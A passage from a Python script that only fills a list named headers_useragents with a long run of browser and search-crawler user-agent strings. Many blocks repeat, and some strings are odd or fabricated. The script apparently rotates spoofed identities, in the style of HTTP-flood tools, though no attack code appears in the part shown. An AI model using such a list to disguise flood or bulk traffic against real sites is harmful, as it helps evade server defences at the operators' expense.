  806.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  808.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  809.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  810.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  811.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  812.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  813.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  814.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  815.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  816.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  817.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  818.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  819.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  820.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  821.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  822.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  823.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  824.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  825.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  826.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  827.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  828.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  829.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  830.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  831.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  832.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  833.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  834.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  835.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  836.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  837.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  838.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  839.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  840.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  841.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  842.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  843.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  844.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  845.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  846.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  847.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  848.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  849.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  850.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  851.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  852.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  853.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  854.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  855.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  856.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  857.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  858.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  859.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  860.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  861.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  862.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  863.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  864.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  865.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  866.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  867.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  868.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  869.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  870.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  871.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  872.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  873.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  874.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  875.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  876.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  877.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  878.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  879.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  880.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  881.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  882.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  883.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  884.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  885.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  886.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  887.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  888.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  889.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  890.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  891.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  892.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  893.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  894.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  895.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  896.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  897.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  898.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  899.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  900.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  901.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  902.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  903.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  904.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  905.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  906.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  907.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  908.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  909.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  910.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  911.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  912.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  913.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  914.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  915.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  916.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  917.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  918.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  919.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  920.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  921.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  922.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  923.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  924.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  925.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  926.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  927.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  928.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  929.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  930.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  931.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  932.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  933.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  934.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  935.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  936.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  937.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  938.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  939.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  940.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  941.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  942.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  943.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  944.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  945.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  946.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  947.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  948.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  949.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  950.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  951.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  952.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  953.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  954.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  955.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  956.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  957.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  958.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  959.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  960.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  961.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  962.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  963.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  964.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  965.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  966.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  967.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  968.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  969.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  970.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  971.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  972.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  973.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  974.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  975.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  976.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  977.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  978.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  979.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  980.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  981.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  982.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  983.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  984.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  985.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  986.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  987.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  988.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  989.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  990.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  991.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  992.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  993.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  994.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  995.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  996.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  997.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  998.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  999.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1000.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1001.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1002.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1003.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1004.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1005.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1006.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1007.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1008.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1009.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
